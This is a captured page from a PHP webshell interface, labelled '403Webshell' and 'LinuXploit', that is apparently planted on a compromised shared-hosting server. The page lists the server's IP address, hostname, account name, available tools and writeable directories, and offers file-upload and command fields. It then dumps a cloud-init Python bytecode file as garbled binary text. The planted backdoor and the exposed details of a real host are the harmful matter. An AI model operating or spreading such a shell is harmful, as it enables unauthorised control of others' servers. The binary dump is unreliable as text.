403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib/python3.9/site-packages/cloudinit/log/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.9/site-packages/cloudinit/log/__pycache__/log_util.cpython-39.pyc
a

'�Dgi	�@s|ddlZddlZddlZddlmZe�e�Zejdd�e	dd�dd�Z
ed�d	d
��Zdddejdfdd�Z
ddd�ZdS)�N)�timedT)�	log_level�exc_info)r�returncGs0|j||g|�R�|j|g|�Rd|i�dS)Nr)�log�debug)r�msgrr�args�r
�:/usr/lib/python3.9/site-packages/cloudinit/log/log_util.py�logexc
srzWriting to consolecCs@t|d��"}|�|�|��Wd�n1s20YdS)N�w)�open�write�flush)�conpath�textZwfhr
r
r�write_to_consoles
rc	Cs�|rtj�|�|r�d}d}tj�|�rvzt||�d}Wn:tytd}tj�|�d��|rp|�	t
j|�Yn0|r�|s�tj�|�|r�|ddkr�|�	||dd��n|�	||�dS)Nz/dev/consoleFTzFailed to write to /dev/console�
���)�sys�stderrr�os�path�existsr�OSError�stdoutr�logging�WARNING)	rZconsolerrrZfallback_to_stdoutrZwriting_to_console_workedZ
console_errorr
r
r�	multi_logs(

r��	Error:
{}FcCs&t|�|�tjd�|r"t�|�|S)z�Print error to stderr and return or exit

    @param msg: message to print
    @param rc: return code (default: 1)
    @param fmt: format string for putting message in (default: 'Error:\n {}')
    @param sys_exit: exit when called (default: false)
    )�file)�print�formatrr�exit)r�rc�fmtZsys_exitr
r
r�errorDs
r()r r!F)rrrZcloudinit.performancerZ	getLogger�__name__ZLOGr�intrr�DEBUGrr(r
r
r
r�<module>s$
��
�
,

Youez - 2016 - github.com/yon3zu
LinuXploit